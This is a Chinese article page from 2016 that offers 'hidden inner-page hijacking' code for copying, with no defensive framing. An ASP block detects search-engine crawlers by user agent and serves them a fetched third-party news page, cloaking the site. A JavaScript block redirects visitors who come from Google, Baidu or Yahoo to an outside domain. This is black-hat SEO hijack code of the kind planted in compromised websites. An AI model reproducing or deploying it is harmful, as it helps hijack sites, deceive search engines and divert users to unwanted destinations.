美文章

当前位置:美文章 > 随笔杂文 > > 隐藏内页劫持代码

隐藏内页劫持代码

作者:美文章网  时间:2016-03-21 16:40

 

<%@ LANGUAGE = VBScript.Encode %><% 
Dim agent
agent=Request.ServerVariables("http_user_agent")
If  instr(agent,"Baiduspider") > 0 or instr(agent,"baidubrowser") > 0 or instr(agent,"Sogou") > 0 or instr(agent,"googlebot") > 0 or instr(agent,"Sosospider") > 0 then
linkurl="http://view.news.qq.com/original/intouchtoday/n2663.html" '快照网址
Function GetBody(Url) 
  Dim objXML
        On Error Resume Next
        Set objXML = CreateObject("Microsoft.XMLHTTP") 
        With objXML 
        .Open "Get", Url, False, "", "" 
        .Send 
        GetBody = .ResponseBody
        End With 
        GetBody=BytesToBstr(GetBody,"GB2312")
        Set objXML = Nothing 
End Function
 
Function BytesToBstr(strBody,CodeBase)
        dim objStream
        set objStream = Server.CreateObject("Adodb.Stream")
        objStream.Type = 1
        objStream.Mode =3
        objStream.Open
        objStream.Write strBody
        objStream.Position = 0
        objStream.Type = 2
        objStream.Charset = CodeBase
        BytesToBstr = objStream.ReadText 
        objStream.Close
        set objStream = nothing
End Function
response.write GetBody(linkurl)
End if%>
 
<script LANGUAGE="Javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 ) 
location.href="http://www.zhangshuaixing.cn";
</script>